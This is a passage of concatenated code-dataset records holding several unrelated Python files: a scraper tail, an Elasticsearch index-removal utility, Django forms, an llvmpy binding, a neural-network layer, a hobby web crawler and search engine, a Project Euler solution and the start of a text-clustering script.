list_RBW=RemoveSelect(Navegador.options_RBW)\r\n Navegador.Selection_RBW(Selection=list_RBW[0])\r\n\r\n print(n)\r\n print('Connection ->', Connection.strip())\r\n print('OD ->', OD.strip())\r\n print('wt ->', wt.strip())\r\n print('GradeOrigin ->', GradeOrigin.strip())\r\n print('Grade ->', Grade.strip())\r\n print('Design ->', Design.strip())\r\n print('Coupling Option ->', CouplingOption.strip())\r\n print('Drift ->', list_drift[0].strip())\r\n print('RBW ->', list_RBW[0].strip(),'\\n')\r\n\r\n Navegador.GenerateDS()\r\n\r\n row_data=Navegador.GetInfoFromNavegador()\r\n\r\n row_data['Custom_Connection'] = Connection\r\n row_data['Custom_OD'] = OD\r\n row_data['Custom_wt'] = wt\r\n row_data['Custom_GradeOrigin'] = GradeOrigin\r\n row_data['Custom_Grade'] = Grade\r\n row_data['Custom_Design'] = Design\r\n row_data['Custom_CouplingOption'] = CouplingOption\r\n row_data['Custom_DriftType'] = list_drift[0]\r\n row_data['Custom_RBW'] = list_RBW[0]\r\n\r\n VAM_data = VAM_data.append(row_data)\r\n\r\n n+=1\r\n\r\n if n%10 == 0:\r\n VAM_data.to_excel('VAM_DATA_{}.xlsx'.format(exec_time))\r\n \r\n \r\n re_start.update_data(Connection, OD, wt, GradeOrigin, Grade)\r\n\r\n if n%10 ==0:\r\n re_start.save()\r\n\r\n\r\n Navegador.ClearFilter() ; Navegador.Selection_Connection(Selection=Connection); Navegador.Selection_OD(Selection=OD); Navegador.Selection_wt(Selection=wt);Navegador.Selection_GradeOrigin(Selection=GradeOrigin)\r\n\r\n Navegador.ClearFilter(); Navegador.Selection_Connection(Selection=Connection); Navegador.Selection_OD(Selection=OD); Navegador.Selection_wt(Selection=wt)\r\n\r\n Navegador.ClearFilter(); Navegador.Selection_Connection(Selection=Connection)\r\n\r\n Navegador.ClearFilter(); Navegador.Selection_Connection(Selection=Connection)\r\n","sub_path":"Get_VAM_DS.py","file_name":"Get_VAM_DS.py","file_ext":"py","file_size_in_byte":20706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"558866943","text":"from elasticsearch import Elasticsearch\nimport yaml\n\ncores = [\n 'elasticsearch_document_core',\n 'elasticsearch_form_contents_core',\n 'elasticsearch_comments_core',\n 'elasticsearch_chats_core'\n]\nwith open(\"conf.yaml\", 'r') as stream:\n conf = yaml.load(stream)\n\nes = Elasticsearch([conf['elasticsearch_host']+':'+str(conf['elasticsearch_port'])])\n\nfor core in cores:\n print(\"Removing index %s....\"%core)\n with open(\"core_configs/%s\"%core, 'r') as stream:\n body = stream.read()\n\n es.indices.delete(index=conf[core])\n\n\n\n\n\n","sub_path":"seedr/bin/remove_structure.py","file_name":"remove_structure.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"192412706","text":"from PIL import Image\r\nfrom django import forms\r\nfrom django.core.files import File\r\n\r\nfrom .models import CarWash, Box, CarWashPhoto\r\nfrom leaflet.forms.widgets import LeafletWidget\r\n\r\n\r\nclass CarWashForm(forms.ModelForm):\r\n class Meta:\r\n model = CarWash\r\n fields = ['name', 'location', 'phone']\r\n labels = {'name': 'სამრეცხაოს დასახელება', 'location': 'სამრეცხაოს მდებარეობა',\r\n 'phone': 'ხელმძღვანელი ���ირის მობილური ტელეფონის ნომერი'}\r\n widgets = {'location': LeafletWidget()}\r\n\r\n\r\nclass BoxForm(forms.ModelForm):\r\n class Meta:\r\n model = Box\r\n fields = ['name', 'available']\r\n labels = {'name': 'სახელი', 'available': 'სტატუსი'}\r\n\r\n\r\nclass PhotoForm(forms.ModelForm):\r\n x = forms.FloatField(widget=forms.HiddenInput())\r\n y = forms.FloatField(widget=forms.HiddenInput())\r\n width = forms.FloatField(widget=forms.HiddenInput())\r\n height = forms.FloatField(widget=forms.HiddenInput())\r\n\r\n class Meta:\r\n model = CarWashPhoto\r\n fields = ('file', 'x', 'y', 'width', 'height', 'description',)\r\n labels = {'file': 'ფაილი', 'description': 'აღწერა'}\r\n widgets = {\r\n 'file': forms.FileInput(attrs={\r\n 'accept': 'image/*' # this is not an actual validation! don't rely on that!\r\n })\r\n }\r\n\r\n def save(self):\r\n photo = super(PhotoForm, self).save()\r\n\r\n x = self.cleaned_data.get('x')\r\n y = self.cleaned_data.get('y')\r\n w = self.cleaned_data.get('width')\r\n h = self.cleaned_data.get('height')\r\n\r\n image = Image.open(photo.file)\r\n cropped_image = image.crop((x, y, w+x, h+y))\r\n resized_image = cropped_image.resize((200, 200), Image.ANTIALIAS)\r\n resized_image.save(photo.file.path)\r\n\r\n return photo\r\n\r\n\r\nclass DeletePhotoForm(forms.ModelForm):\r\n class Meta:\r\n model = CarWashPhoto\r\n fields = []\r\n","sub_path":"company/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"323330476","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.3 (3230)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: ./src/Support/SourceMgr.py\n# Compiled at: 2014-08-01 13:34:49\n# Size of source mod 2**32: 184 bytes\nfrom binding import *\nfrom ..namespace import llvm\nllvm.includes.add('llvm/Support/SourceMgr.h')\n\n@llvm.Class()\nclass SMDiagnostic:\n new = Constructor()\n delete = Destructor()","sub_path":"pycfiles/llvmpy-0.12.7.tar/SourceMgr.cpython-33.py","file_name":"SourceMgr.cpython-33.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"90659479","text":"from elegy.initializers import TruncatedNormal\nfrom elegy.types import Initializer\nfrom elegy import module\nimport typing as tp\nimport jax.numpy as jnp\nimport haiku as hk\n\nimport numpy as np\n\n\nclass Linear(module.Module):\n \"\"\"Linear module.\"\"\"\n\n w: np.ndarray\n b: np.ndarray\n\n def __init__(\n self,\n output_size: int,\n with_bias: bool = True,\n w_init: tp.Optional[Initializer] = None,\n b_init: tp.Optional[Initializer] = None,\n **kwargs\n ):\n \"\"\"\n Constructs the Linear module.\n\n Arguments:\n output_size: Output dimensionality.\n with_bias: Whether to add a bias to the output.\n w_init: Optional initializer for weights. By default, uses random values\n from truncated normal, with stddev `1 / sqrt(fan_in)`. See\n https://arxiv.org/abs/1502.03167v3.\n b_init: Optional initializer for bias. By default, zero.\n kwargs: Additional keyword arguments passed to Module.\n \"\"\"\n super().__init__(**kwargs)\n self.input_size = None\n self.output_size = output_size\n self.with_bias = with_bias\n self.w_init = w_init\n self.b_init = b_init or jnp.zeros\n\n def call(self, inputs: np.ndarray) -> np.ndarray:\n \"\"\"\"\"\"\n if not inputs.shape:\n raise ValueError(\"Input must not be scalar.\")\n\n input_size = self.input_size = inputs.shape[-1]\n output_size = self.output_size\n dtype = jnp.float32\n\n w_init = self.w_init\n\n if w_init is None:\n stddev = 1.0 / np.sqrt(self.input_size)\n w_init = TruncatedNormal(stddev=stddev)\n\n w = self.add_parameter(\n \"w\", [input_size, output_size], dtype, initializer=w_init\n )\n\n inputs = jnp.asarray(inputs, self.dtype)\n w = jnp.asarray(w, self.dtype)\n out = jnp.dot(inputs, w)\n\n if self.with_bias:\n b = self.add_parameter(\n \"b\", [self.output_size], dtype, initializer=self.b_init\n )\n b = jnp.broadcast_to(b, out.shape)\n b = jnp.asarray(b, self.dtype)\n out = out + b\n\n return out\n","sub_path":"elegy/nn/linear.py","file_name":"linear.py","file_ext":"py","file_size_in_byte":2210,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"408226548","text":"from urllib.request import urlopen,Request,urljoin\nimport certifi\nimport re\nfrom bs4 import BeautifulSoup\nimport sqlite3\nimport src.nn\nmynet = src.nn.searchnet('nn.db')\n\n\n# Create a list of words to ignore\nignorewords={'the':1, 'of':1, 'to':1, 'and':1, 'a':1, 'in':1, 'is':1, 'it':1}\n\nclass crawler:\n # initial the crawler with the name of database\n def __init__(self,dbname):\n self.con = sqlite3.connect(dbname)\n\n def __del__(self):\n self.con.close()\n\n def db_commit(self):\n self.con.commit()\n\n # auxilliary function for getting an entry id and adding it if it's not present\n def get_entry_id(self, table, field, value,createnew=True):\n cursor = self.con.cursor()\n cursor.execute(\n \"select rowid from %s where %s='%s'\" % (table, field, value))\n res = cursor.fetchone()\n if res is None:\n cur = self.con.execute(\n \"insert into %s (%s) values ('%s')\" % (table, field, value))\n return cur.lastrowid\n else:\n return res[0]\n\n\n # Index an individual page\n def add_to_index(self, url, soup):\n if self.is_indexed(url): return\n print('Indexing %s' % url)\n\n # get the individual words\n text = self.get_text_only(soup)\n words = self.separate_words(text)\n\n #get the url id\n urlid = self.get_entry_id('urllist', 'url',url)\n\n # link each word to this url\n cursor = self.con.cursor()\n for i in range(len(words)):\n word=words[i]\n if word in ignorewords: continue\n wordid = self.get_entry_id('wordlist','word',word)\n cursor.execute(\"insert into wordlocation(urlid,wordid,location) values (%d,%d,%d)\" % (urlid, wordid, i))\n\n\n # Extract the text form an html page(no tags),\n # this place is the bug buffled me a fully day ,now is ok\n def get_text_only(self, soup):\n v = soup.string\n if v is None:\n c = soup.contents\n resulttext = ''\n for t in c:\n s = t.string\n\n if type(t) != \"BeautifulSoup.Declaration\":\n subtext = self.get_text_only(t)\n resulttext += subtext + '\\n'\n return resulttext\n else:\n return v.strip()\n # return soup.get_text()\n\n # Separate the words by any no-whitespace character\n def separate_words(self, text):\n splitter = re.compile('\\\\W*')\n return [s.lower() for s in splitter.split(text) if s!='']\n\n\n # Return true if this url is already indexed\n def is_indexed(self, url):\n cursor = self.con.cursor()\n u=cursor.execute(\"select rowid from urllist WHERE url='%s' \" % url).fetchone()\n if u is not None:\n # check if it has actually been crawled\n v = cursor.execute(\"select * from wordlocation WHERE urlid= '%s' \" % u[0]).fetchone()\n if v is not None: return True\n return False\n\n # Add a link between two pages\n def add_link_ref(self, urlFrom, urlTo, linkText):\n words = self.separate_words(linkText)\n fromid = self.get_entry_id('urllist', 'url', urlFrom)\n toid = self.get_entry_id('urllist', 'url', urlTo)\n if fromid == toid: return\n cur = self.con.execute(\"insert into link(fromid,toid) values (%d,%d)\" % (fromid, toid))\n linkid = cur.lastrowid\n for word in words:\n if word in ignorewords: continue\n wordid = self.get_entry_id('wordlist', 'word', word)\n self.con.execute(\"insert into linkwords(linkid,wordid) values (%d,%d)\" % (linkid, wordid))\n\n # Starting with a list of pages, do a breadth first search\n # to the given depth, indexing pages as we go.\n def crawl(self, pages, depth=2):\n cursor = self.con.cursor()\n for i in range(depth):\n newpages = {}\n for page in pages:\n try:\n c =urlopen(page)\n except:\n print( 'could not open the page %s' % page)\n continue\n soup = BeautifulSoup(c.read())\n self.add_to_index(page, soup)\n links = soup.find_all('a')\n for link in links:\n if ('href' in dict(link.attrs)):\n url = urljoin(page,link['href'])\n if url.find(\"'\") != -1: continue\n url = url.split('#')[0] #remove location portion\n if url[0:4] == 'http' and not self.is_indexed(url):\n newpages[url]=1\n lineText=self.get_text_only(link)\n self.add_link_ref(page, url, lineText)\n self.db_commit()\n pages=newpages\n\n\n # Create the database tables\n def create_index_tables(self):\n cursor = self.con.cursor()\n self.con.execute('create table urllist(url)')\n self.con.execute('create table wordlist(word)')\n self.con.execute('create table wordlocation(urlid,wordid,location)')\n self.con.execute('create table link(fromid integer,toid integer)')\n self.con.execute('create table linkwords(wordid,linkid)')\n self.con.execute('create index wordidx on wordlist(word)')\n self.con.execute('create index urlidx on urllist(url)')\n self.con.execute('create index wordurlidx on wordlocation(wordid)')\n self.con.execute('create index urltoidx on link(toid)')\n self.con.execute('create index urlfromidx on link(fromid)')\n self.db_commit()\n\n # use PageRank alg,and precompute it , run it every you run crawl\n def calculate_pagerank(self,iterations=20):\n # clear out the current pagerank tables\n self.con.execute('drop table if exists pagerank')\n self.con.execute('create table pagerank(urlid primary key, score)')\n\n # initialize every url with a pagerank of 1(it doesn't matter)\n for (urlid,) in self.con.execute('select rowid from urllist'):\n self.con.execute('insert into pagerank(urlid,score) values (%d,1.0)' % urlid)\n self.db_commit()\n\n for i in range(iterations):\n print('Iteration %d' % i)\n for(urlid,) in self.con.execute('select rowid from urllist'):\n pr=0.15 # the pagerank alg constant\n # loop throufh all the pages that link this one\n for(linker,) in self.con.execute('select distinct fromid from link where toid=%d' % urlid):\n # get the pagerank of the linker\n linkingpr = self.con.execute('select score from pagerank where urlid=%d' % linker).fetchone()[0]\n # get the total number of links form the linker\n linkingcount =self.con.execute('select count(*) from link where fromid=%d' % linker).fetchone()[0]\n # calculate\n pr+=0.85*(linkingpr/linkingcount)\n self.con.execute('update pagerank set score=%f where urlid=%d' % (pr, urlid))\n self.db_commit()\n\n\n\n\nclass seacher:\n def __init__(self, dbname):\n self.con = sqlite3.connect(dbname)\n\n def __del__(self):\n self.con.close()\n\n def get_match_rows(self, q):\n fieldlist = 'w0.urlid'\n tablelist = ''\n clauselist = ''\n wordids = []\n\n # split the words by spaces\n words = q.split(' ')\n tablenumber = 0\n\n for word in words:\n # get the word id\n wordrow = self.con.execute(\"select rowid from wordlist where word \\\n = '%s'\" % word).fetchone()\n # TODO the folling code can't understand\n if wordrow != None:\n wordid = wordrow[0]\n wordids.append(wordid)\n if tablenumber > 0:\n tablelist += ','\n clauselist += ' and '\n clauselist += 'w%d.urlid = w%d.urlid and ' % (tablenumber -\n 1, tablenumber)\n fieldlist += ',w%d.location' % tablenumber\n tablelist += 'wordlocation w%d' % tablenumber\n clauselist += 'w%d.wordid = %d' % (tablenumber, wordid)\n tablenumber += 1\n\n # create the query from the separate parts\n fullquery = 'select %s from %s where %s ' % (fieldlist, tablelist,\n clauselist)\n cur = self.con.execute(fullquery)\n rows = [row for row in cur]\n return rows, wordids\n\n def get_sorted_list(self, rows, wordids):\n totalscores = dict([(row[0],0) for row in rows])\n # this is where you will later put the scoring functions\n # this func is amazing !!!!!, good example for weight sth\n weights=[(0.6, self.frequencys_score(rows)),(0.2, self.locations_scores(rows)),\n (0.2,self.distance_score(rows)), (0.3, self.inbund_link_store(rows)),\n (0.6, self.pagerank_score(rows)), (0.5, self.linktext_score(rows,wordids)),\n (0.6, self.nn_score(rows,wordids)) ]\n for (weight,scores) in weights:\n for url in totalscores:\n totalscores[url]+=weight*scores[url]\n\n return totalscores\n\n def get_url_name(self, urlid):\n return self.con.execute(\"select url from urllist where rowid=%d \" % urlid).fetchone()[0]\n\n\n # normalize the scores for diff weight function\n def frequencys_score(self, rows):\n counts = dict([ (row[0],0) for row in rows ])\n for row in rows:\n counts[row[0]]+=1\n return self.normalize_scores(counts)\n\n\n # Score method one: use the word frequencys to appraise the page priority\n def normalize_scores(self, scores, smallisbetter=False):\n vsmall=0.00001 # avoid division by zero errors\n if smallisbetter:\n minscore = min(scores.values())\n return dict([(u, float(minscore)/max(vsmall,l)) for (u,l) in scores.items()])\n else:\n maxscore = max(scores.values())\n return dict([(u, float(c) / maxscore) for (u, c) in scores.items()])\n\n # Score method two: use the word location in docuement to evaluate\n def locations_scores(self, rows):\n locations = dict([(row[0], 10000) for row in rows])\n for row in rows:\n # if multi keywords, the location just simply add\n loc = sum(row[1:])\n locations[row[0]] = min(loc, locations[row[0]])\n return self.normalize_scores(locations, smallisbetter=True)\n\n # Score method three: focus the distance between keywords\n def distance_score(self, rows):\n # if only one keyword query\n if len(rows[0]) <= 2:\n return dict([(row[0],1.0) for row in rows])\n # else initialize the dict\n mindistance = dict([(row[0],100000) for row in rows])\n\n for row in rows:\n dist = sum([abs(row[i]-row[i-1]) for i in range(2,len(row))])\n mindistance[row[0]]=min(dist,mindistance[row[0]])\n return self.normalize_scores(mindistance,smallisbetter=True)\n\n # Score method four: use the inbound links count\n def inbund_link_store(self, rows):\n uniqueurls= set([row[0] for row in rows])\n inboundcount = dict([(u, self.con.execute('select count(*) from link where toid=%d' % u).fetchone()[0])\\\n for u in uniqueurls])\n return self.normalize_scores(inboundcount,smallisbetter=False)\n\n # Score method five : use the PageRank Score\n def pagerank_score(self, rows):\n pageranks= dict([(row[0],self.con.execute('select score from pagerank where urlid=%d' % row[0]\n ).fetchone()[0]) for row in rows])\n return self.normalize_scores(pageranks)\n\n\n # Score method six: use the linktext\n def linktext_score(self, rows, wordids):\n linkscores=dict([(row[0],0) for row in rows])\n for wordid in wordids:\n cur = self.con.execute('select link.fromid,link.toid from linkwords,link where wordid=%d and linkwords.linkid=link.rowid' % wordid)\n for (fromid, toid) in cur:\n if toid in linkscores:\n pr=self.con.execute('select score from pagerank where urlid=%d' % fromid).fetchone()[0]\n linkscores[toid]+=pr\n return self.normalize_scores(linkscores)\n\n # Score method seven: use the neutral network\n def nn_score(self, rows, wordids):\n urlids = [urlid for urlid in set([row[0] for row in rows])]\n mynet.generate_hidden_node(wordids,urlids) # try\n nnres = mynet.get_result(wordids,urlids)\n scores = dict([(urlids[i],nnres[i]) for i in range(len(urlids))])\n return self.normalize_scores(scores)\n\n def query(self, q,resultsize=10):\n rows, wordids = self.get_match_rows(q)\n scores = self.get_sorted_list(rows,wordids)\n rankedscores = sorted([(score, url) for (url, score) in scores.items()], reverse=True)\n for (score, urlid) in rankedscores[0:resultsize]:\n print('%f\\t%s' % (score, self.get_url_name(urlid)))\n return wordids,[r[1] for r in rankedscores]\n\n\n\n\n\n# pagelist = ['http://www.paulgraham.com/articles.html']\npagelist = ['http://www.chinadaily.com.cn']\ncrawler = crawler('searchengine.db')\n# crawler.create_index_tables()\n\ne= seacher('searchengine.db')\ne.query('china usa')","sub_path":"src/searchengine.py","file_name":"searchengine.py","file_ext":"py","file_size_in_byte":13480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"66722607","text":"# 2520 is the smallest number that can be divided by each of the numbers from 1 to 10 without any remainder.\n# What is the smallest positive number that is evenly divisible by all of the numbers from 1 to 20?\n\nimport math\nimport time\n\n\n# lcm - Least common multiple\ndef lcm(a: int, b: int):\n return int(a * b / math.gcd(a, b)) # math.gcd - greatest common divisor of 2 numbers\n\n\ndef smallest_multiples(higher: int):\n num = 1\n\n for i in range(2, higher + 1):\n num = lcm(num, i)\n\n return num\n\n\ndef main():\n start = time.time()\n\n print('result:', smallest_multiples(20))\n\n end = time.time()\n print('milliseconds: ' + str((end - start) * 1000))\n\n\nmain()\n\n\n# def is_divisible_by_all_numbers(number_to_check: int, max_number_for_divide: int):\n# result = True\n# number_for_divide = 2\n#\n# while result and number_for_divide <= max_number_for_divide:\n# if number_to_check % number_for_divide == 0:\n# number_for_divide += 1\n# else:\n# result = False\n#\n# return result\n#\n#\n# def find_smallest_divisible_by_all_numbers(max_number_for_divide: int):\n# result = max_number_for_divide\n# is_divisible = False\n#\n# while is_divisible is False:\n# result += 1\n# is_divisible = is_divisible_by_all_numbers(result, max_number_for_divide)\n#\n# return result\n","sub_path":"src/005_smallest_multiples.py","file_name":"005_smallest_multiples.py","file_ext":"py","file_size_in_byte":1352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"634820872","text":"import os\nimport numpy as np\nimport pandas as pd\nimport seaborn as sn\nimport matplotlib.pyplot as plt\nimport torchtext\nimport torch\nfrom ast import literal_eval\nfrom sklearn.cluster import AgglomerativeClustering\nfrom multiprocessing import Pool\nimport scipy.cluster.hierarchy as hac\nimport tqdm \nimport matplotlib.pyplot as plt\nimport json\n\n\"\"\"\nSimple script to produce break a dataset into multiple clusters\nIdeally, each cluster should be learnable\n\"\"\"\n\n\ndef append_highlighted_part(x):\n if x['reversed'] == 0:\n return x['subj_type'].lower() + ' ' + ' '.join(x['highlighted']).lower() + ' ' + x['obj_type'].lower()\n else:\n return x['obj_type'].lower() + ' ' + ' '.join(x['highlighted']).lower() + ' ' + x['subj_type'].lower()\n\n\n\n\n# stop_words from nltk\nstop_words = [\"a\", \"about\", \"above\", \"after\", \"again\", \"against\", \"ain\", \"all\", \"am\", \"an\", \"and\", \"any\", \"are\", \"aren\", \"aren't\", \"as\", \"at\", \"be\", \n \"because\", \"been\", \"before\", \"being\", \"below\", \"between\", \"both\", \"but\", \"by\", \"can\", \"couldn\", \"couldn't\", \"d\", \"did\", \"didn\", \"didn't\", \"do\", \n \"does\", \"doesn\", \"doesn't\", \"doing\", \"don\", \"don't\", \"down\", \"during\", \"each\", \"few\", \"for\", \"from\", \"further\", \"had\", \"hadn\", \"hadn't\", \"has\", \n \"hasn\", \"hasn't\", \"have\", \"haven\", \"haven't\", \"having\", \"he\", \"her\", \"here\", \"hers\", \"herself\", \"him\", \"himself\", \"his\", \"how\", \"i\", \"if\", \"in\", \n \"into\", \"is\", \"isn\", \"isn't\", \"it\", \"it's\", \"its\", \"itself\", \"just\", \"ll\", \"m\", \"ma\", \"me\", \"mightn\", \"mightn't\", \"more\", \"most\", \"mustn\", \n \"mustn't\", \"my\", \"myself\", \"needn\", \"needn't\", \"no\", \"nor\", \"not\", \"now\", \"o\", \"of\", \"off\", \"on\", \"once\", \"only\", \"or\", \"other\", \"our\", \"ours\", \n \"ourselves\", \"out\", \"over\", \"own\", \"re\", \"s\", \"same\", \"shan\", \"shan't\", \"she\", \"she's\", \"should\", \"should've\", \"shouldn\", \"shouldn't\", \"so\", \n \"some\", \"such\", \"t\", \"than\", \"that\", \"that'll\", \"the\", \"their\", \"theirs\", \"them\", \"themselves\", \"then\", \"there\", \"these\", \"they\", \"this\", \n \"those\", \"through\", \"to\", \"too\", \"under\", \"until\", \"up\", \"ve\", \"very\", \"was\", \"wasn\", \"wasn't\", \"we\", \"were\", \"weren\", \"weren't\", \"what\", \n \"when\", \"where\", \"which\", \"while\", \"who\", \"whom\", \"why\", \"will\", \"with\", \"won\", \"won't\", \"wouldn\", \"wouldn't\", \"y\", \"you\", \"you'd\", \"you'll\", \n \"you're\", \"you've\", \"your\", \"yours\", \"yourself\", \"yourselves\", \"could\", \"he'd\", \"he'll\", \"he's\", \"here's\", \"how's\", \"i'd\", \"i'll\", \"i'm\", \n \"i've\", \"let's\", \"ought\", \"she'd\", \"she'll\", \"that's\", \"there's\", \"they'd\", \"they'll\", \"they're\", \"they've\", \"we'd\", \"we'll\", \"we're\", \"we've\", \n \"what's\", \"when's\", \"where's\", \"who's\", \"why's\", \"would\", \"able\", \"abst\", \"accordance\", \"according\", \"accordingly\", \"across\", \"act\", \"actually\", \n \"added\", \"adj\", \"affected\", \"affecting\", \"affects\", \"afterwards\", \"ah\", \"almost\", \"alone\", \"along\", \"already\", \"also\", \"although\", \"always\", \n \"among\", \"amongst\", \"announce\", \"another\", \"anybody\", \"anyhow\", \"anymore\", \"anyone\", \"anything\", \"anyway\", \"anyways\", \"anywhere\", \"apparently\", \n \"approximately\", \"arent\", \"arise\", \"around\", \"aside\", \"ask\", \"asking\", \"auth\", \"available\", \"away\", \"awfully\", \"b\", \"back\", \"became\", \"become\", \n \"becomes\", \"becoming\", \"beforehand\", \"begin\", \"beginning\", \"beginnings\", \"begins\", \"behind\", \"believe\", \"beside\", \"besides\", \"beyond\", \"biol\", \n \"brief\", \"briefly\", \"c\", \"ca\", \"came\", \"cannot\", \"can't\", \"cause\", \"causes\", \"certain\", \"certainly\", \"co\", \"com\", \"come\", \"comes\", \"contain\", \n \"containing\", \"contains\", \"couldnt\", \"date\", \"different\", \"done\", \"downwards\", \"due\", \"e\", \"ed\", \"edu\", \"effect\", \"eg\", \"eight\", \"eighty\", \n \"either\", \"else\", \"elsewhere\", \"end\", \"ending\", \"enough\", \"especially\", \"et\", \"etc\", \"even\", \"ever\", \"every\", \"everybody\", \"everyone\", \n \"everything\", \"everywhere\", \"ex\", \"except\", \"f\", \"far\", \"ff\", \"fifth\", \"first\", \"five\", \"fix\", \"followed\", \"following\", \"follows\", \"former\", \n \"formerly\", \"forth\", \"found\", \"four\", \"furthermore\", \"g\", \"gave\", \"get\", \"gets\", \"getting\", \"give\", \"given\", \"gives\", \"giving\", \"go\", \"goes\", \n \"gone\", \"got\", \"gotten\", \"h\", \"happens\", \"hardly\", \"hed\", \"hence\", \"hereafter\", \"hereby\", \"herein\", \"heres\", \"hereupon\", \"hes\", \"hi\", \"hid\", \n \"hither\", \"home\", \"howbeit\", \"however\", \"hundred\", \"id\", \"ie\", \"im\", \"immediate\", \"immediately\", \"importance\", \"important\", \"inc\", \"indeed\", \n \"index\", \"information\", \"instead\", \"invention\", \"inward\", \"itd\", \"it'll\", \"j\", \"k\", \"keep\", \"keeps\", \"kept\", \"kg\", \"km\", \"know\", \"known\", \n \"knows\", \"l\", \"largely\", \"last\", \"lately\", \"later\", \"latter\", \"latterly\", \"least\", \"less\", \"lest\", \"let\", \"lets\", \"like\", \"liked\", \"likely\", \n \"line\", \"little\", \"'ll\", \"look\", \"looking\", \"looks\", \"ltd\", \"made\", \"mainly\", \"make\", \"makes\", \"many\", \"may\", \"maybe\", \"mean\", \"means\", \n \"meantime\", \"meanwhile\", \"merely\", \"mg\", \"might\", \"million\", \"miss\", \"ml\", \"moreover\", \"mostly\", \"mr\", \"mrs\", \"much\", \"mug\", \"must\", \"n\", \"na\", \n \"name\", \"namely\", \"nay\", \"nd\", \"near\", \"nearly\", \"necessarily\", \"necessary\", \"need\", \"needs\", \"neither\", \"never\", \"nevertheless\", \"new\", \"next\", \n \"nine\", \"ninety\", \"nobody\", \"non\", \"none\", \"nonetheless\", \"noone\", \"normally\", \"nos\", \"noted\", \"nothing\", \"nowhere\", \"obtain\", \"obtained\", \n \"obviously\", \"often\", \"oh\", \"ok\", \"okay\", \"old\", \"omitted\", \"one\", \"ones\", \"onto\", \"ord\", \"others\", \"otherwise\", \"outside\", \"overall\", \"owing\", \n \"p\", \"page\", \"pages\", \"part\", \"particular\", \"particularly\", \"past\", \"per\", \"perhaps\", \"placed\", \"please\", \"plus\", \"poorly\", \"possible\", \n \"possibly\", \"potentially\", \"pp\", \"predominantly\", \"present\", \"previously\", \"primarily\", \"probably\", \"promptly\", \"proud\", \"provides\", \"put\", \"q\", \n \"que\", \"quickly\", \"quite\", \"qv\", \"r\", \"ran\", \"rather\", \"rd\", \"readily\", \"really\", \"recent\", \"recently\", \"ref\", \"refs\", \"regarding\", \n \"regardless\", \"regards\", \"related\", \"relatively\", \"research\", \"respectively\", \"resulted\", \"resulting\", \"results\", \"right\", \"run\", \"said\", \"saw\", \n \"say\", \"saying\", \"says\", \"sec\", \"section\", \"see\", \"seeing\", \"seem\", \"seemed\", \"seeming\", \"seems\", \"seen\", \"self\", \"selves\", \"sent\", \"seven\", \n \"several\", \"shall\", \"shed\", \"shes\", \"show\", \"showed\", \"shown\", \"showns\", \"shows\", \"significant\", \"significantly\", \"similar\", \"similarly\", \n \"since\", \"six\", \"slightly\", \"somebody\", \"somehow\", \"someone\", \"somethan\", \"something\", \"sometime\", \"sometimes\", \"somewhat\", \"somewhere\", \"soon\", \n \"sorry\", \"specifically\", \"specified\", \"specify\", \"specifying\", \"still\", \"stop\", \"strongly\", \"sub\", \"substantially\", \"successfully\", \n \"sufficiently\", \"suggest\", \"sup\", \"sure\", \"take\", \"taken\", \"taking\", \"tell\", \"tends\", \"th\", \"thank\", \"thanks\", \"thanx\", \"thats\", \"that've\", \n \"thence\", \"thereafter\", \"thereby\", \"thered\", \"therefore\", \"therein\", \"there'll\", \"thereof\", \"therere\", \"theres\", \"thereto\", \"thereupon\", \n \"there've\", \"theyd\", \"theyre\", \"think\", \"thou\", \"though\", \"thoughh\", \"thousand\", \"throug\", \"throughout\", \"thru\", \"thus\", \"til\", \"tip\", \n \"together\", \"took\", \"toward\", \"towards\", \"tried\", \"tries\", \"truly\", \"try\", \"trying\", \"ts\", \"twice\", \"two\", \"u\", \"un\", \"unfortunately\", \"unless\", \n \"unlike\", \"unlikely\", \"unto\", \"upon\", \"ups\", \"us\", \"use\", \"used\", \"useful\", \"usefully\", \"usefulness\", \"uses\", \"using\", \"usually\", \"v\", \"value\", \n \"various\", \"'ve\", \"via\", \"viz\", \"vol\", \"vols\", \"vs\", \"w\", \"want\", \"wants\", \"wasnt\", \"way\", \"wed\", \"welcome\", \"went\", \"werent\", \"whatever\", \n \"what'll\", \"whats\", \"whence\", \"whenever\", \"whereafter\", \"whereas\", \"whereby\", \"wherein\", \"wheres\", \"whereupon\", \"wherever\", \"whether\", \"whim\", \n \"whither\", \"whod\", \"whoever\", \"whole\", \"who'll\", \"whomever\", \"whos\", \"whose\", \"widely\", \"willing\", \"wish\", \"within\", \"without\", \"wont\", \"words\", \n \"world\", \"wouldnt\", \"www\", \"x\", \"yes\", \"yet\", \"youd\", \"youre\", \"z\", \"zero\", \"a's\", \"ain't\", \"allow\", \"allows\", \"apart\", \"appear\", \"appreciate\", \n \"appropriate\", \"associated\", \"best\", \"better\", \"c'mon\", \"c's\", \"cant\", \"changes\", \"clearly\", \"concerning\", \"consequently\", \"consider\", \n \"considering\", \"corresponding\", \"course\", \"currently\", \"definitely\", \"described\", \"despite\", \"entirely\", \"exactly\", \"example\", \"going\", \n \"greetings\", \"hello\", \"help\", \"hopefully\", \"ignored\", \"inasmuch\", \"indicate\", \"indicated\", \"indicates\", \"inner\", \"insofar\", \"it'd\", \"keep\", \n \"keeps\", \"novel\", \"presumably\", \"reasonably\", \"second\", \"secondly\", \"sensible\", \"serious\", \"seriously\", \"sure\", \"t's\", \"third\", \"thorough\", \n \"thoroughly\", \"three\", \"well\", \"wonder\", \"a\", \"about\", \"above\", \"above\", \"across\", \"after\", \"afterwards\", \"again\", \"against\", \"all\", \"almost\", \n \"alone\", \"along\", \"already\", \"also\", \"although\", 